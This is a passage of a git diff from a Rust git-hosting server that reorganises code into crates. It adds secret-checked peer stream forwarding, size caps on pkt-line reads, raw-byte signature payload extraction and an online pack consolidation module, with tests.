sessions, piped byte for byte. ---- - -use crate::App; -use std::sync::Arc; -use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader}; -use tokio::net::TcpListener; - -const HEADER_MAX: usize = 1024; -const HEADER_TIMEOUT: Duration = Duration::from_secs(5); - -/// The stream port sits one above the HTTP peer port on every node. -/// ponytail: fixed offset; make it configurable if the ports ever need to be independent. -pub fn stream_addr(http_peer: &str) -> String { - let (host, port) = http_peer - .rsplit_once(':') - .expect("peer address must be host:port — it is built by this program, never by input"); - let port: u16 = port - .parse() - .expect("peer port must be numeric — it is built by this program, never by input"); - format!("{host}:{}", port + 1) -} - -/// Accept forwarded SSH sessions. -/// -/// One header line, then one status line back, then the git protocol byte for byte. The socket is -/// then handed to the same `serve_git` a local SSH client reaches, so nothing about the protocol is -/// reimplemented here — which is the point of piping rather than translating. -pub async fn serve_peer_streams(app: Arc, listener: TcpListener) -> Result<()> { - loop { - let (sock, _) = listener.accept().await?; - let app = app.clone(); - tokio::spawn(async move { - if let Err(e) = serve_peer_stream(app, sock).await { - eprintln!("peer stream: {e}"); // ponytail: eprintln; swap for a logger when one exists - } - }); - } -} - -async fn serve_peer_stream(app: Arc, sock: tokio::net::TcpStream) -> Result<()> { - let mut reader = BufReader::new(sock); - // Bounded and timed: a stray connection that never sends a newline must not hold a task or - // grow a buffer without limit. - let mut header = Vec::new(); - let n = tokio::time::timeout( - HEADER_TIMEOUT, - (&mut reader).take(HEADER_MAX as u64).read_until(b'\n', &mut header), - ) - .await??; - if n == 0 || header.last() != Some(&b'\n') { - return Err(crate::err("peer stream: bad header")); // silently closed - } - let header = String::from_utf8_lossy(&header).trim_end().to_string(); - let mut parts = header.splitn(5, ' '); - // Secret first, checked before anything else is parsed. Wrong: close without a byte. - let presented = parts.next().unwrap_or_default(); - if presented.is_empty() || presented != app.forwarder.secret { - return Err(crate::err("peer stream: secret")); - } - let service = parts.next().unwrap_or_default().to_string(); - let repo = parts.next().unwrap_or_default().to_string(); - let owner = parts.next().unwrap_or_default().to_string(); - // Unparseable hops = exhausted: serve here rather than bounce. - let hops: u32 = parts.next().and_then(|h| h.parse().ok()).unwrap_or(MAX_HOPS); - - // From here on, refusals are reported as a status line: the forwarding node relays them so - // the client sees a reason and a non-zero exit, as it would from a local session. - // `&'static str`: an annotated `&str` here would be higher-ranked and the returned future could - // not capture it. Every reason is a literal, so 'static is honest. - let refuse = |reader: BufReader, why: &'static str| async move { - let mut s = reader.into_inner(); - let _ = s.write_all(format!("error: {why}\n").as_bytes()).await; - Err::<(), crate::Error>(crate::err(why)) - }; - if service != "git-upload-pack" && service != "git-receive-pack" { - return refuse(reader, "unsupported service").await; - } - if !crate::store::valid_segment(&owner) { - return refuse(reader, "invalid owner").await; - } - let Some((ro, rn)) = crate::protocol::parse_repo_path(&repo) else { - return refuse(reader, "invalid repo path").await; - }; - // The forwarding node authenticated the client; this node still decides what that identity may - // reach. Trusting who the caller says it is is not the same as skipping authorisation. - // A peer always presents an identity, so the public flag can never change this outcome. - if !crate::auth::authorize(Some(owner.as_str()), &ro, false) { - return refuse(reader, "access denied").await; - } - // Same rule as HTTP: consult the map from here, forward on if it names someone else — unless - // out of hops, where we still refuse to serve what routing says is not ours. - let route = app.route(&format!("{ro}/{rn}")).await; - if hops >= MAX_HOPS && !matches!(route, crate::ownership::Route::Local) { - return refuse(reader, "routing disagreement at hop limit; retry").await; - } - if hops < MAX_HOPS { - match route { - crate::ownership::Route::Local => {} - crate::ownership::Route::Unavailable => { - return refuse(reader, "no node may safely serve this repository; retry").await - } - crate::ownership::Route::Peer(peer) => { - // Two-hop: we are the middle node. stream_to_peer reads the OWNER's status line - // itself; with `relay = true` it writes a status line UPSTREAM to the node that - // forwarded to us — "ok" once the owner said ok, or "error: …" if the owner refused - // — BEFORE piping, so it can never write "error:" after "ok". Keep the BufReader: - // any bytes it buffered past the header belong to git. - let mut sock = reader; - return stream_to_peer( - &app.forwarder.secret, - &stream_addr(&peer.addr), - &service, - &format!("{ro}/{rn}"), - &owner, - hops, - &mut sock, - true, - ) - .await; - } - } - } - // "ok" goes out BEFORE open_repo. Opening a cold repo downloads its packs — seconds to - // minutes for a big one — and the forwarding node is waiting on this line under a short - // timeout meant for the header exchange, not for a pack download. Once "ok" is sent, a - // missing repo is reported the way a local session reports it: on the git ERR channel with a - // non-zero exit, which git prints as-is. - let mut sock = reader; // BufReader kept: see above - sock.get_mut().write_all(b"ok\n").await?; - let repo = match app.store.open_repo(&ro, &rn).await { - Ok(Some(r)) => r, - Ok(None) => { - let _ = crate::pktline::write_err(&mut sock, "repository not found").await; - return Err(crate::err("repository not found")); - } - Err(e) if crate::pool::is_fenced(&e) => { - let _ = crate::pktline::write_err(&mut sock, "repository moved; retry").await; - return Err(e); - } - Err(e) => return Err(e), - }; - crate::ssh::serve_git(app.store.clone(), repo, &service, sock).await -} - /// Pipe an established stream to the node that owns the repo, one hop further along. /// /// Sends the header, waits for the owner's status line, then copies bytes both ways. With `relay`, @@ -284,6 +184,7 @@ pub async fn stream_to_peer( where S: tokio::io::AsyncRead + tokio::io::AsyncWrite + Unpin, { + use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader}; let connect_and_status = async { let sock = tokio::net::TcpStream::connect(peer_stream).await?; let mut sock = BufReader::new(sock); @@ -323,3 +224,28 @@ where tokio::io::copy_bidirectional(stream, &mut sock).await?; Ok(()) } + +/// The stream port sits one above the HTTP peer port on every node. +/// ponytail: fixed offset; make it configurable if the ports ever need to be independent. +pub fn stream_addr(http_peer: &str) -> String { + let (host, port) = http_peer + .rsplit_once(':') + .expect("peer address must be host:port — it is built by this program, never by input"); + let port: u16 = port + .parse() + .expect("peer port must be numeric — it is built by this program, never by input"); + format!("{host}:{}", port + 1) +} + +#[cfg(test)] +mod tests { + use super::secret_eq; + + #[test] + fn secret_eq_rejects_empty_and_mismatched() { + assert!(!secret_eq("", "")); + assert!(secret_eq("abc", "abc")); + assert!(!secret_eq("abc", "abd")); + assert!(!secret_eq("abc", "ab")); + } +} diff --git a/src/pktline.rs b/crates/core/src/pktline.rs similarity index 72% rename from src/pktline.rs rename to crates/core/src/pktline.rs index 1227c41d..64384a40 100644 --- a/src/pktline.rs +++ b/crates/core/src/pktline.rs @@ -75,14 +75,21 @@ impl Write for BandWriter<'_> { /// or a client killed mid-push could still have its ref deletions applied. pub fn read_lines_until_flush(r: &mut dyn BufRead) -> io::Result>> { let mut out = Vec::new(); - // cap the number of lines: a client streaming pkt-lines forever must not grow this unbounded + // Cap both the count AND the total bytes: SSH has no HTTP body limit in front of this, so a + // client streaming max-size pkt-lines before a flush would otherwise grow this unbounded. const MAX_LINES: usize = 100_000; + const MAX_BYTES: usize = 32 * 1024 * 1024; + let mut total: usize = 0; loop { match read_pkt(r)? { Some(Pkt::Data(mut d)) => { if d.last() == Some(&b'\n') { d.pop(); } + total = total.saturating_add(d.len()); + if total > MAX_BYTES { + return Err(io::Error::other("pkt-line stream too large")); + } out.push(d); if out.len() > MAX_LINES { return Err(io::Error::other("too many pkt-lines")); @@ -104,6 +111,15 @@ pub fn read_lines_until_flush(r: &mut dyn BufRead) -> io::Result>> { /// stream is already committed to the git protocol. pub async fn write_err(w: &mut W, msg: &str) -> std::io::Result<()> { use tokio::io::AsyncWriteExt; + // Bounded like `write_pkt`: a pkt-line is at most 0xffff bytes, and an ERR that does not fit + // would go out with a wrapped length the client cannot parse. Long messages are cut, not + // refused — a refusal that cannot be delivered is no refusal. + const MAX_MSG: usize = 0xffff - 4 - "ERR \n".len(); + let mut end = msg.len().min(MAX_MSG); + while !msg.is_char_boundary(end) { + end -= 1; + } + let msg = &msg[..end]; let body = format!("ERR {msg}\n"); w.write_all(format!("{:04x}{body}", body.len() + 4).as_bytes()).await?; w.flush().await @@ -113,6 +129,18 @@ pub async fn write_err(w: &mut W, msg: &str) - mod tests { use super::*; use std::io::Cursor; + #[tokio::test] + async fn write_err_truncates_rather_than_corrupting_the_length() { + let mut out: Vec = Vec::new(); + write_err(&mut out, &"é".repeat(60_000)).await.unwrap(); + let mut c = Cursor::new(out); + let Some(Pkt::Data(d)) = read_pkt(&mut c).unwrap() else { panic!("not a data pkt") }; + assert!(d.starts_with(b"ERR ")); + assert!(d.len() + 4 <= 0xffff); + assert!(std::str::from_utf8(&d).is_ok(), "truncated on a char boundary"); + assert!(read_pkt(&mut c).unwrap().is_none(), "one pkt, nothing trailing"); + } + #[test] fn roundtrip() { let mut buf = Vec::new(); @@ -141,6 +169,20 @@ mod tests { assert_eq!(read_lines_until_flush(&mut c).unwrap().len(), 1); } + #[test] + fn read_lines_rejects_oversized_stream() { + // Build a stream of many max-size data pkts with no flush; total exceeds the byte cap. + let mut buf = Vec::new(); + let big = vec![b'x'; 65515]; + for _ in 0..600 { + // 600 * ~65KB ≈ 39 MiB, over a 32 MiB cap + write_pkt(&mut buf, &big).unwrap(); + } + let mut c = Cursor::new(buf); + let err = read_lines_until_flush(&mut c).unwrap_err(); + assert_eq!(err.kind(), std::io::ErrorKind::Other); + } + #[test] fn oversized_pkt_is_rejected() { let mut buf = Vec::new(); diff --git a/crates/git/Cargo.toml b/crates/git/Cargo.toml new file mode 100644 index 00000000..f8e5eb7e --- /dev/null +++ b/crates/git/Cargo.toml @@ -0,0 +1,29 @@ +[package] +name = "rustic-git-git" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_git" + +[dependencies] +tracing = { workspace = true } +rustic-git-core = { path = "../core" } +rustic-git-storage = { path = "../storage" } +rustic-git-gitbase = { path = "../gitbase" } +rustic-git-app = { path = "../app" } +tokio = { workspace = true } +tokio-util = { workspace = true } +slatedb = { workspace = true } +russh = { workspace = true } +gix-odb = { workspace = true } +gix-pack = { workspace = true } +gix-object = { workspace = true } +gix-hash = { workspace = true } +gix-traverse = { workspace = true } +gix-features = { workspace = true } +futures = { workspace = true } +imara-diff = { workspace = true } +serde = { workspace = true } +base64 = { workspace = true } diff --git a/src/browse.rs b/crates/git/src/browse.rs similarity index 76% rename from src/browse.rs rename to crates/git/src/browse.rs index dbada76c..09a80484 100644 --- a/src/browse.rs +++ b/crates/git/src/browse.rs @@ -358,9 +358,9 @@ fn changed_files( /// A commit's signature, and the bytes it signs. /// -/// Git signs the commit object with its `gpgsig` header removed — so the payload -/// has to be rebuilt, not read. Returning both means the verifier never has to -/// know how a commit is laid out. +/// Git signs the commit object with its `gpgsig` header removed — so the payload is the raw +/// bytes with that header cut out, never a re-serialisation. Returning both means the verifier +/// never has to know how a commit is laid out. pub struct Signed { /// The armoured signature: an OpenPGP block, or an SSH `SSHSIG` block. pub signature: String, @@ -371,69 +371,69 @@ pub struct Signed { } pub fn signature_of(odb: &gix_odb::Handle, oid: ObjectId) -> Result> { - use gix_object::WriteTo; let mut buf = Vec::new(); - let commit = odb.find_commit(&oid, &mut buf).map_err(find_obj_err)?; - + let data = odb.find(&oid, &mut buf).map_err(find_err)?; + if data.kind != gix_object::Kind::Commit { + return Err(nf(format!("{oid} is a {}, not a commit", data.kind))); + } + let commit = gix_object::CommitRef::from_bytes(data.data, oid.kind())?; + // ponytail: sha1 repos only — a sha256-object repo signs under `gpgsig-sha256`, which reads as + // unsigned here (fail closed); look for both names when sha256 repos are supported. let Some(sig) = commit.extra_headers().find("gpgsig") else { return Ok(None); }; let signature = sig.to_string(); let author_email = commit.author().map(|a| a.email.to_string()).unwrap_or_default(); + Ok(Some(Signed { signature, payload: without_gpgsig(data.data), author_email })) +} - // The payload is this commit WITHOUT the signature header. Rebuilt by - // re-serialising rather than by cutting the header out of the raw bytes: a - // signature spans continuation lines, and getting that trimming wrong makes - // every signature look invalid for no visible reason. - let mut owned = commit.to_owned().map_err(|e| crate::err(e.to_string()))?; - owned.extra_headers.retain(|(name, _)| name.as_slice() != b"gpgsig"); - let mut payload = Vec::new(); - owned.write_to(&mut payload)?; - - Ok(Some(Signed { signature, payload, author_email })) +/// The raw commit with the `gpgsig` header and its continuation lines cut out — exactly what git +/// hashed when it signed. Cut, not re-serialised: gix normalises what it parses (a `-0000` zone +/// comes back `+0000`), and a payload that is not byte-for-byte the original makes a perfectly +/// good signature read as invalid. +fn without_gpgsig(raw: &[u8]) -> Vec { + let mut out = Vec::with_capacity(raw.len()); + let mut rest = raw; + let mut in_sig = false; + while !rest.is_empty() { + let end = rest.iter().position(|&b| b == b'\n').map_or(rest.len(), |p| p + 1); + let line = &rest[..end]; + // The blank line ends the headers; the message after it travels verbatim. + if line == b"\n" { + out.extend_from_slice(rest); + break; + } + if line.starts_with(b"gpgsig ") { + // A malformed commit with two `gpgsig` headers loses both runs while the signature + // above is taken from the first: the payload then mismatches, so it reads Invalid — + // never a false Valid, which is the only direction that matters here. + in_sig = true; + } else if in_sig && line.starts_with(b" ") { + // a continuation line of the signature + } else { + in_sig = false; + out.extend_from_slice(line); + } + rest = &rest[end..]; + } + out } /// What a diff says in place of a binary file's contents. The web reads this /// exact line, so it is a constant rather than a spelling repeated in two repos. pub const BINARY_MARKER: &str = "Binary file not shown"; +/// What a diff says for a blob past `MAX_DIFF`. Decided from the object header, so the blob is +/// never inflated to learn it cannot be shown. +pub const TOO_LARGE_MARKER: &str = "File too large to diff"; + /// Git's own heuristic: a NUL in the first 8000 bytes means binary. Cheap, and /// wrong only for text that contains a NUL, which is not text. fn is_binary(data: &[u8]) -> bool { data.iter().take(8000).any(|b| *b == 0) } -/// The best common ancestor of two commits — where a branch left the one it -/// wants back into. -/// -/// Bounded, like every other walk here: `None` when the two have no ancestor -/// within `budget`, which callers read as "these are unrelated" and refuse to act -/// on rather than guessing. -pub fn merge_base( - odb: &gix_odb::Handle, - a: ObjectId, - b: ObjectId, - budget: usize, -) -> Option { - if a == b { - return Some(a); - } - // Everything reachable from `a`, then the first of `b`'s ancestors in it. - // First by generation rather than best-by-date: `Simple` walks newest-first, - // so the first hit is the closest common ancestor for the histories a review - // actually sees. - let seen: std::collections::HashSet = gix_traverse::commit::Simple::new(Some(a), odb.clone()) - .take(budget) - .filter_map(|i| i.ok().map(|i| i.id)) - .collect(); - if seen.contains(&b) { - return Some(b); - } - gix_traverse::commit::Simple::new(Some(b), odb.clone()) - .take(budget) - .filter_map(|i| i.ok().map(|i| i.id)) - .find(|id| seen.contains(id)) -} +pub use rustic_git_gitbase::{merge_base, MergeBase}; /// What a proposed change contains: the commits on `head` that `base` does not /// have, and one diff of the whole thing. @@ -446,8 +446,11 @@ pub fn merge_base( pub struct Comparison { pub base: String, pub head: String, - /// `None` when the two histories are unrelated within the walk's budget. + /// `None` when the two histories are unrelated, or when the walk ran out of budget before + /// it could tell — `unknown` says which. pub merge_base: Option, + /// The walk's budget ran out: nothing here says whether the branches share history. + pub unknown: bool, /// Whether `base` can be moved to `head` without a merge commit. pub fast_forward: bool, pub commits: Vec, @@ -461,7 +464,8 @@ pub fn compare( max_commits: usize, ) -> Result { const BUDGET: usize = 50_000; - let mb = merge_base(odb, base, head, BUDGET); + let walk = merge_base(odb, base, head, BUDGET); + let mb = match walk { MergeBase::Found(m) => Some(m), _ => None }; // Commits on head that base does not have. `hide` is exactly this question, // and asking it of the traversal is cheaper than walking both and subtracting. @@ -484,6 +488,7 @@ pub fn compare( base: base.to_hex().to_string(), head: head.to_hex().to_string(), merge_base: mb.map(|o| o.to_hex().to_string()), + unknown: walk == MergeBase::Exhausted, fast_forward: mb == Some(base), commits, diff, @@ -527,14 +532,32 @@ fn diff_trees_inner( changed_files(odb, parent_tree, tree, "", &mut files)?; let mut diff = String::new(); for (path, old, new) in files { - // ponytail: 4 MiB ceiling on the whole diff, checked between files. A commit that touches - // a thousand large blobs would otherwise decompress all of them into one String on the git - // node — the same memory cliff the push path has a cap for. Stream it per file if a client - // ever needs the full text of a commit this large. + // ponytail: 4 MiB ceiling on the whole diff, checked between files; a single file past + // the ceiling is caught by the header read below, before anything is inflated. A commit + // that touches a thousand large blobs would otherwise decompress all of them into one + // String on the git node — the same memory cliff the push path has a cap for. Stream it + // per file if a client ever needs the full text of a commit this large. if diff.len() >= MAX_DIFF { diff.push_str("\n[diff truncated]\n"); break; } + // From the header, never by inflating: a blob past the ceiling cannot be shown anyway, + // and reading it to find that out is the memory cliff the ceiling exists to avoid. + let too_big = |id: Option| -> bool { + use gix_object::FindHeader; + // Keep-biased: a header that cannot be read is treated as too big, because the + // alternative is inflating an object of unknown size to find out. + id.is_some_and(|id| { + odb.try_header(&id) + .ok() + .flatten() + .is_none_or(|h| h.size > MAX_DIFF as u64) + }) + }; + if too_big(old) || too_big(new) { + diff.push_str(&format!("--- a/{path}\n+++ b/{path}\n{TOO_LARGE_MARKER}\n")); + continue; + } let bytes = |id: Option| -> Result> { Ok(match id { Some(id) => { @@ -569,3 +592,53 @@ fn diff_trees_inner( } Ok(diff) } + +#[cfg(test)] +mod tests { + use super::without_gpgsig; + + /// git signed the raw bytes minus the `gpgsig` header; a payload rebuilt by re-serialising is + /// not those bytes whenever gix normalises something it parsed — here the `-0000` zone. + #[test] + fn signature_payload_is_cut_from_the_raw_bytes() { + let raw: &[u8] = b"tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904\n\ +author t 0 -0000\n\ +committer t 0 -0000\n\ +gpgsig -----BEGIN PGP SIGNATURE-----\n \n iQEzBAABCAAdFiEE\n -----END PGP SIGNATURE-----\n\ +\n\ +msg\n"; + let want: &[u8] = b"tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904\n\ +author t 0 -0000\n\ +committer t 0 -0000\n\ +\n\ +msg\n"; + assert_eq!(without_gpgsig(raw), want); + + // A continuation line under a header that is not `gpgsig` stays. + let other: &[u8] = b"tree x\nmergetag object y\n z\n\nmsg\n"; + assert_eq!(without_gpgsig(other), other); + + // Only headers are cut: the message is copied verbatim, `gpgsig ` line and all. + let body: &[u8] = b"tree x\n\ngpgsig not a header here\n"; + assert_eq!(without_gpgsig(body), body); + + // Headers with no blank line and no message: cut, and no panic on the unterminated end. + assert_eq!(without_gpgsig(b"tree x\ngpgsig sig\n more"), b"tree x\n"); + + // The re-serialising approach this replaces cannot produce `want`. + use gix_object::WriteTo; + let parsed = gix_object::CommitRef::from_bytes(raw, gix_hash::Kind::Sha1).unwrap(); + if let Ok(mut owned) = parsed.to_owned() { + owned.extra_headers.retain(|(name, _)| name.as_slice() != b"gpgsig"); + let mut rebuilt = Vec::new(); + owned.write_to(&mut rebuilt).unwrap(); + assert_ne!(rebuilt, want, "if these are equal the fixture no longer proves anything"); + } + } + + #[test] + fn a_commit_without_a_signature_is_unchanged() { + let raw: &[u8] = b"tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904\nauthor t 0 +0000\ncommitter t 0 +0000\n\nmsg\n"; + assert_eq!(without_gpgsig(raw), raw); + } +} diff --git a/crates/git/src/gc.rs b/crates/git/src/gc.rs new file mode 100644 index 00000000..e49e938e --- /dev/null +++ b/crates/git/src/gc.rs @@ -0,0 +1,211 @@ +//! Repack: consolidate a repo's packs, which accumulate one per push and are never rewritten. +//! +//! Two shapes over one tail. `repack` (admin, server stopped) rebuilds from the refs and so also +//! drops whatever they no longer reach. `consolidate` (the owning node's lane, online) rewrites +//! every object of the packs it listed into one, WITHOUT reachability — that is what keeps it +//! from racing a push: pushes are not serialised against each other (refs go through a DB +//! transaction, packs are uploaded first), so "reachable from the refs" and "in the packs" can +//! disagree for the width of one push, and a pack rebuilt from the refs in that window would +//! drop the push's objects. Copying every object of every listed pack has no such window: a +//! push's pack is either listed (copied whole) or newer (never touched). +//! +//! Ordering is the crash-safety: the new pack is uploaded and recorded before any old one is +//! touched, and each old file leaves the index BEFORE it leaves the object store. A crash +//! anywhere leaves duplicates (both packs indexed, or an unindexed orphan in the store), never an +//! index row naming a file that is gone — which is a repo `open_repo` can no longer open. + +use crate::store::{Repo, Store}; +use crate::{err, Result}; +use gix_hash::ObjectId; +use slatedb::object_store::{path::Path as OsPath, ObjectStoreExt}; +use std::sync::atomic::AtomicBool; + +/// How many packs a repo may hold before the owner's lane consolidates them. +pub fn max_packs() -> usize { + rustic_git_storage::config::env("RUSTIC_GIT_REPACK_PACKS", "32").parse().unwrap_or(32) +} + +/// Extension trait, not an inherent `impl Store`: `Store` lives in `storage` and the orphan rule +/// forbids it; the code stays here because it needs `gix-pack`, which `storage` must not depend +/// on. Import this wherever `.repack(...)`/`.consolidate(...)` is called. +#[allow(async_fn_in_trait)] +pub trait RepackExt { + /// Rebuild from the refs and drop the rest: garbage goes too. Offline only (`admin repack`). + /// Returns (packs_before, packs_after). + async fn repack(&self, owner: &str, name: &str) -> Result<(usize, usize)>; + /// Rewrite every object of the current packs into one. Safe while the repo serves pushes. + /// Returns (packs_before, packs_after). + async fn consolidate(&self, owner: &str, name: &str) -> Result<(usize, usize)>; +} + +impl RepackExt for Store { + // ponytail: cached `blob:`/`tree:` answers for objects this prunes keep serving for the rest of + // their 7-day TTL — already-unreachable data, not a new exposure, so it is left alone. Call + // `bump_generation` here if repack ever has to be visible to the browse API promptly. + async fn repack(&self, owner: &str, name: &str) -> Result<(usize, usize)> { + run(self, owner, name, true).await + } + async fn consolidate(&self, owner: &str, name: &str) -> Result<(usize, usize)> { + run(self, owner, name, false).await + } +} + +async fn run(store: &Store, owner: &str, name: &str, gc: bool) -> Result<(usize, usize)> { + let repo = store + .open_repo(owner, name) + .await? + .ok_or_else(|| err("repository not found"))?; + // In-process, because the owning node is the only process that may touch this repo's packs + // (CLAUDE.md's ownership invariant) — a DB key here once outlived a crashed run and blocked + // every repack after it. + let lock = store.keyed_lock(&format!("repack/{owner}/{name}")); + let _held = lock + .try_lock() + .map_err(|_| err("a repack is already running for this repository"))?; + let before = pack_count(store, &repo).await?; + if let Some(old) = rebuild(store, &repo, gc).await? { + retire(store, &repo, &old).await?; + } + Ok((before, pack_count(store, &repo).await?)) +} + +async fn pack_count(store: &Store, repo: &Repo) -> Result { + Ok(store + .pack_index(&repo.owner, &repo.name) + .await? + .iter() + .filter(|(f, _)| f.ends_with(".pack")) + .count()) +} + +/// Build, upload and record the replacement pack. Returns the files it supersedes — every pack +/// file indexed when this started — or `None` when there was nothing to rewrite. `pub` so a +/// test can stop here and prove a crash before `retire` leaves the repo whole. +pub async fn rebuild(store: &Store, repo: &Repo, gc: bool) -> Result>> { + // The listing comes first. Any pack recorded after it survives untouched, so the only packs + // this run may delete are ones whose every object it is about to copy. + let old = store.pack_index(&repo.owner, &repo.name).await?; + let before = old.iter().filter(|(f, _)| f.ends_with(".pack")).count(); + let tips: Vec = if gc { + store.list_refs(repo).await?.into_iter().map(|(_, oid)| oid).collect() + } else { + Vec::new() + }; + if gc && tips.is_empty() { + // No refs at all ⇒ every object is unreachable by definition: drop the packs outright. + // A repo that never had a successful push must not accumulate garbage forever. + retire(store, repo, &old).await?; + return Ok(None); + } + if before <= 1 { + // nothing to consolidate: a single pack cannot hide garbage that a rebuild would drop, + // because it was itself built from the live set + return Ok(None); + } + let ids = if gc { + Ids::Tips(tips) + } else { + let mut set = std::collections::HashSet::new(); + for (f, _) in old.iter().filter(|(f, _)| f.ends_with(".idx")) { + let idx = gix_pack::index::File::at(repo.pack_dir.join(f), gix_hash::Kind::Sha1)?; + set.extend(idx.iter().map(|e| e.oid)); + } + Ids::AsIs(set.into_iter().collect()) + }; + let (pack, idx) = tokio::task::block_in_place(|| build_pack(repo, ids))?; + // A rebuild that lands on a name already indexed (identical content ⇒ identical pack + // checksum, e.g. a retry after a crash in `retire`) must not then retire itself. + let keep: std::collections::HashSet = [&pack, &idx] + .iter() + .filter_map(|p| p.file_name().and_then(|s| s.to_str()).map(String::from)) + .collect(); + if let Err(e) = store.upload_pack_files(repo, &pack, &idx).await { + store.delete_pack_files(repo, &pack, &idx).await?; + return Err(e); + } + Ok(Some(old.into_iter().filter(|(f, _)| !keep.contains(f)).collect())) +} + +/// Drop superseded pack files: `.idx` before `.pack` (readers discover a pack via its index, so +/// nobody lists an index whose data is gone), and per file the index row before the object. +pub async fn retire(store: &Store, repo: &Repo, old: &[(String, u64)]) -> Result<()> { + let mut ordered: Vec<&str> = old.iter().map(|(f, _)| f.as_str()).collect(); + ordered.sort_by_key(|f| !f.ends_with(".idx")); + for fname in ordered { + store.forget_pack_public(&repo.owner, &repo.name, fname).await?; + store + .os + .delete(&OsPath::from(format!("{}/{}", repo.s3_prefix(), fname))) + .await?; + let _ = std::fs::remove_file(repo.pack_dir.join(fname)); + } + Ok(()) +} + +enum Ids { + /// everything reachable from these commits + Tips(Vec), + /// exactly these objects + AsIs(Vec), +} + +/// Build a single self-contained pack and index it into `repo.pack_dir`, returning +/// (pack_path, idx_path). Synchronous (gix is sync); call under block_in_place. +fn build_pack(repo: &Repo, ids: Ids) -> Result<(std::path::PathBuf, std::path::PathBuf)> { + use std::io::{Seek, Write}; + let odb = repo.odb()?; + let mut tmp = tempfile_in(&repo.pack_dir)?; + let interrupt = AtomicBool::new(false); + match ids { + Ids::Tips(tips) => { + crate::protocol::upload::write_pack(&odb, tips, Vec::new(), &mut tmp, &interrupt)? + } + Ids::AsIs(ids) => crate::protocol::upload::pack_from_ids( + &odb, + ids, + gix_pack::data::output::count::objects::ObjectExpansion::AsIs, + &mut tmp, + &interrupt, + )?, + } + tmp.flush()?; + tmp.seek(std::io::SeekFrom::Start(0))?; + + let mut progress = gix_features::progress::Discard; + let outcome = gix_pack::Bundle::write_to_directory( + &mut std::io::BufReader::new(tmp), + Some(&repo.pack_dir), + &mut progress, + &interrupt, + None::, + gix_pack::bundle::write::Options { + thread_limit: None, + iteration_mode: gix_pack::data::input::Mode::Verify, + index_version: gix_pack::index::Version::V2, + object_hash: gix_hash::Kind::Sha1, + alloc_limit_bytes: None, + compression: Default::default(), + }, + )?; + if let Some(k) = outcome.keep_path { + let _ = std::fs::remove_file(k); + } + match (outcome.data_path, outcome.index_path) { + (Some(p), Some(i)) => Ok((p, i)), + _ => Err(err("repack produced an empty pack")), + } +} + +/// A temp file in `dir` (same filesystem, so the bundle's rename is atomic). Unique per pid+seq. +fn tempfile_in(dir: &std::path::Path) -> std::io::Result { + use std::sync::atomic::{AtomicU64, Ordering}; + static SEQ: AtomicU64 = AtomicU64::new(0); + let seq = SEQ.fetch_add(1, Ordering::Relaxed); + let path = dir.join(format!(".repack.{}.{seq}.tmp", std::process::id())); + std::fs::OpenOptions::new() + .create(true) + .truncate(true) + .read(true) + .write(true) + .open(path) +} diff --git a/crates/git/src/lib.rs b/crates/git/src/lib.rs new file mode 100644 index 00000000..b8156539 --- /dev/null +++ b/crates/git/src/lib.rs @@ -0,0 +1,10 @@ +#![allow(clippy::result_large_err)] +pub(crate) use rustic_git_core::{err, pktline, Error, Result}; +pub(crate) use rustic_git_storage::{auth, ownership, pool, store}; +pub(crate) use rustic_git_gitbase::refs; +pub(crate) use rustic_git_app::App; +pub mod browse; +pub mod gc; +pub mod protocol; +pub mod proxy; +pub mod ssh; diff --git a/crates/git/src/protocol/mod.rs b/crates/git/src/protocol/mod.rs new file mode 100644 index 00000000..8cd260a6 --- /dev/null +++ b/crates/git/src/protocol/mod.rs @@ -0,0 +1,29 @@ +pub mod receive; +pub mod upload; + +pub const AGENT: &str = "agent=rustic-git/0.1"; + +/// Run a future to completion from sync code inside `spawn_blocking`. +/// +/// `block_in_place` turns the CURRENT worker thread into a blocking one, so this must only run +/// on a multi-thread runtime (`flavor = "multi_thread"` in every test that reaches it) and never +/// from a `LocalSet`; on a current-thread runtime it panics. +pub fn block_on(f: F) -> F::Output { + tokio::task::block_in_place(|| tokio::runtime::Handle::current().block_on(f)) +} + +/// "owner/name.git" or "/owner/name" → (owner, name) +pub fn parse_repo_path(p: &str) -> Option<(String, String)> { + let (o, n) = p.trim_start_matches('/').split_once('/')?; + parse_repo_pair(o, n) +} + +/// The pair form of `parse_repo_path`, for callers that already hold the two segments — +/// they were formatting them into one string just to split it again. +pub fn parse_repo_pair(owner: &str, name: &str) -> Option<(String, String)> { + let n = name.strip_suffix(".git").unwrap_or(name); + if !crate::store::valid_segment(owner) || !crate::store::valid_segment(n) { + return None; + } + Some((owner.to_string(), n.to_string())) +} diff --git a/crates/git/src/protocol/receive.rs b/crates/git/src/protocol/receive.rs new file mode 100644 index 00000000..522ffa48 --- /dev/null +++ b/crates/git/src/protocol/receive.rs @@ -0,0 +1,500 @@ +use super::{block_on, AGENT}; +use crate::pktline::{self, BandWriter}; +use crate::refs::RefUpdate; +use crate::store::{Repo, Store}; +use crate::{err, Result}; +use gix_hash::ObjectId; +use std::io::{BufRead, Write}; +use std::sync::atomic::AtomicBool; + +/// `atomic` is advertised because `update_refs` already IS all-or-nothing — every +/// push, whether or not the client asks. Not saying so left clients that need the +/// guarantee with no way to ask for it, and made the behaviour a surprise rather +/// than a contract. +const CAPS: &str = + "report-status report-status-v2 delete-refs side-band-64k ofs-delta atomic push-options quiet"; + +pub fn advertise(store: &Store, repo: &Repo, out: &mut dyn Write) -> Result<()> { + let refs = block_on(store.list_refs(repo))?; + let caps = format!("{CAPS} {AGENT}"); + if refs.is_empty() { + pktline::write_pkt( + out, + format!("{} capabilities^{{}}\0{caps}\n", "0".repeat(40)).as_bytes(), + )?; + } else { + for (i, (name, oid)) in refs.iter().enumerate() { + if i == 0 { + pktline::write_pkt(out, format!("{} {name}\0{caps}\n", oid.to_hex()).as_bytes())?; + } else { + pktline::write_text(out, &format!("{} {name}", oid.to_hex()))?; + } + } + } + pktline::write_flush(out)?; + Ok(()) +} + +pub fn serve( + store: &Store, + repo: &Repo, + input: &mut dyn BufRead, + out: &mut dyn Write, + interrupt: &AtomicBool, +) -> Result<()> { + // 1. commands + let mut updates = Vec::new(); + let mut client_caps = String::new(); + for line in pktline::read_lines_until_flush(input)? { + let 